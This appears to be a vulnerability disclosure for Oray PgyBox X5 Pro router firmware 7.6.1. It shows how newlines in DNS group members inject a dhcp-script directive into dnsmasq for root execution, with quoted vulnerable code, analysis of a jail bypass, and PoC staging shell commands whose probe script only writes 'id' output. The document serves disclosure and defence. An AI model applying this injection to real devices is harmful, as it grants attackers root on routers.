Oray PgyBox X5 Pro Router firmware 7.6.1 accepts newlines in DNS group members and writes them into the dnsmasq configuration without escaping, allowing a user with the management system password to inject a dhcp-script directive and run a script as root when dnsmasq processes a DHCP lease.
The group API passes the member into UCI. /www/cgi-bin/oraybox applies only the checks a module declares in shell_inject_checker before it calls the module's index function (lines 469–510). group_set.lua declares no such checker. Its edit branch decodes grp_data, then saves data.val as a UCI list without validating the strings inside it:
-- /usr/lib/lua/oraybox/api/group_set.lua, index():203-211
if args.optype == "edit" then
if args.grp_type ~= "time" then
local code, data = edit_user_group(
args.grp_type, luci.json.decode(args.grp_data), args.merge)
return {code = code, data = data}
end
end
-- edit_user_group():134-143
uci:set(cfg, section_name, section_type)
uci:set(cfg, section_name, "name", data.name)
uci:set(cfg, section_name, "id", section_name)
uci:set_list(cfg, section_name, "val", data.val)
uci:save(cfg)
uci:commit(cfg)
return_type("dns") selects group_dns. The UCI loader passes each list member to its callback with embedded newlines intact; the real device's group_dns entry retained both injected line breaks.
The dnsmasq writer turns the list member into directives. In /etc/init.d/dnsmasq, oray_domain_strategy_add loads group_dns and joins each val member to the generated domain string. xappend strips the leading -- and writes its argument to the temporary configuration with echo. It does not confine that argument to one line:
# /etc/init.d/dnsmasq:804-817, 66-73
oray_add_domain() {
domains="$domains/$1"
}
oray_add_ipset() {
local ipset domains
local cfg="$1"
ipset="${ipset:+$ipset,}$1"
config_list_foreach $cfg val oray_add_domain
xappend "--ipset=$domains/$ipset"
}
config_foreach oray_add_ipset dns
xappend() {
local value="${1#--}"
local opt="${value%%=*}"
if ! dnsmasq_ignore_opt "$opt"; then
echo "$value" >>$CONFIGFILE_TMP
fi
}
The PoC member starts with example.com/x5poc761, follows it with a newline and dhcp-script=/tmp/x5pro_dns_probe.sh, then starts a comment with #. The generated ipset= line remains valid; dnsmasq reads the script directive on the next line. dnsmasq_start calls oray_domain_strategy_add before moving the temporary file to the active configuration (lines 1208–1213). The default configuration has no competing user dhcpscript or hotplug handler, so the injected dhcp-script is the active one.
A restart loads the line, and the service runs the script as root. dnsmasq_advanced_set.lua commits dhcp and executes /etc/init.d/dnsmasq restart when no_restart is not "1" (decompiled lines 118–123). Sending the current domainneeded value is enough to take this path. The group named in the PoC must also have an ipset: /etc/init.d/domain_strategy loads group_dns and creates the named sets in start_service (lines 20–26).
The dnsmasq init script calls procd_add_jail dnsmasq ubus log. This firmware has no /sbin/ujail. IDA decompilation of the shipped /sbin/procd, function sub_F9CC, shows the service's jail flag being set at 0xffc8, stat("/sbin/ujail", ...) at 0xffe8, an early failure only when requirejail is set at 0x1007c, and the jail flag cleared at 0x104f0 when the file is missing. This service does not set requirejail. The root identity in the device observation below confirms the resulting execution context.
USB storage supplies a script without changing this injection path. /etc/hotplug.d/block/30-oray mounts FAT32 partitions under /tmp/storage/$device with fmask=0000,dmask=0000 and no noexec option (lines 12, 25, 63–65). A DNS group member can name a script on that mount instead of /tmp. The other configuration entry point, mwan_rules_set.lua, leaves domains out of its shell_inject_checker key list; add_domain_ipset writes that array into dhcp, and the API restarts domain_strategy followed by dnsmasq (decompiled lines 8–24, 29–40, 87–107).
The following run uses a script in /tmp, the path used for the on-device check. Open a router shell and stage the script first. The group and proof names must not already exist; the client needs an active entry in /tmp/dhcp.leases. Replace 10.168.1.125 in the lease check if the client's address differs.
test ! -e /sbin/ujail
if uci -q get group_dns.x5poc761 >/dev/null; then
echo 'group x5poc761 already exists' >&2
exit 1
fi
if ipset list x5poc761 >/dev/null 2>&1; then
echo 'ipset x5poc761 already exists' >&2
exit 1
fi
test ! -e /tmp/x5pro_dns_probe.txt
grep -F ' 10.168.1.125 ' /tmp/dhcp.leases
cp -p /etc/config/group_dns /tmp/group_dns.761.saved
cp -p /etc/config/dhcp /tmp/dhcp.761.saved
{
echo '#!/bin/sh'
echo 'id >/tmp/x5pro_dns_probe.txt'
} >/tmp/x5pro_dns_probe.sh
chmod 700 /tmp/x5pro_dns_probe.sh